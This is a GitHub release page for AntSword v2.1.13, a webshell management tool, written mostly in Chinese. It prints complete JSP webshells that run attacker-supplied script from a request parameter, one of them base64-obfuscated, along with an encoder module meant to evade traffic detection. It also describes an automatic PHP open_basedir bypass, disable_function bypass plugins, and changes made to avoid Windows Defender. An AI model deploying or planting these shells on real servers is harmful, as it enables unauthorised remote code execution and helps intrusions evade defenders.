Skip to content

AntSword v2.1.13

Compare
Choose a tag to compare
@Medicean Medicean released this 19 Jun 04:47
· 91 commits to master since this release

核心

  • ❗️❗️❗️新增 JSPJS Shell 类型 (Author: @yzddmr6)

基于 js 引擎的 jsp 一句话类型, jdk >= 6
相较于 jsp defineClass 实现,该方式的数据包大小明显小了不少

设计思路请参考: https://xz.aliyun.com/t/9715

值得一提的是,JSPJS 类型可以通过「迂回」的方式去「直接使用」原来的 JSP 类型 WebShell, 留给大家去探索了

❗️请耐心看完下面的 Note❗️

目前该类型默认生成的 WebShell 如下:

<%
  try {
    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
    engine.put("request", request);
    engine.put("response", response);
    engine.eval(request.getParameter("ant"));
  } catch (Exception e) {
    out.println("Error:// "+e.toString());
  }
%>

在流量层上和 PHP 最基础的WebShell <?php eval($_POST['ant']);?> 一样具有明显特征,不建议使用, 请配合自定义编码器进行:

eg: b64pass 编码器

'use strict';

module.exports = (pwd, data) => {
  data[pwd] = Buffer.from(data['_']).toString('base64');
  delete data['_'];
  return data;
}

对应 WebShell 如下:

<%!
public byte[] base64Decode(String str) throws Exception {
  Class base64;
  byte[] value = null;
  try {
    base64=Class.forName("sun.misc.BASE64Decoder");
    Object decoder = base64.newInstance();
    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
  } catch (Exception e) {
    try {
      base64=Class.forName("java.util.Base64");
      Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
      value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception ee) {}
  }
  return value;
}
%>
<%
  try {
    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
    engine.put("request", request);
    engine.put("response", response);
    engine.eval(new String(base64Decode(request.getParameter("ant"))));
  } catch (Exception e) {
    out.println("Error:// "+e.toString());
  }
%>

请自行对照最基础的 WebShell 样例自由发挥 :)

  • ❗️PHP/PHP4 类型增加 Bypass open_basedir, 自动尝试

利用的是 chdir('..'); 方式, 仅在目标配置了 open_basedir 后才会自动尝试

该功能会影响之前版本 PHP Bypass DisableFunc 插件, 请及时更新插件

虚拟终端

  • 虚拟终端显示文字样式调亮(thx @Nearg1e 帮我们暗中收集调研了一波需求)
  • ❗️终端执行命令路径分割符由固定的[S][E]改为随机字符串

别问, 要问就去问 Windows Defender

数据管理

  • 开启代理情况下在数据管理状态栏会有提示

后端模块

  • 修复 multipart 发包方式下, 编码器中 data 内容不为字符串时异常

eg:

'use strict';

module.exports = (pwd, data) => {
  data['test'] = 123; // 这里会引发异常
  data[pwd] = data['_'];
  delete data['_'];
  return data;
}

插件相关

  • ExecuteScript 支持 JSPJS 类型
  • GenShell 支持 JSPJS 类型 Shell 生成
  • Bypass disable_function
    • 修正 bypass open_basedir 场景下上传路径问题
    • .antproxy.php 上传至与 Webshell 同路径下
    • php -S 利用方式会在界面显示开启的临时端口
  • PortScan 支持 JSPJS 类型
  • Out-of-Network 支持 JSPJS 类型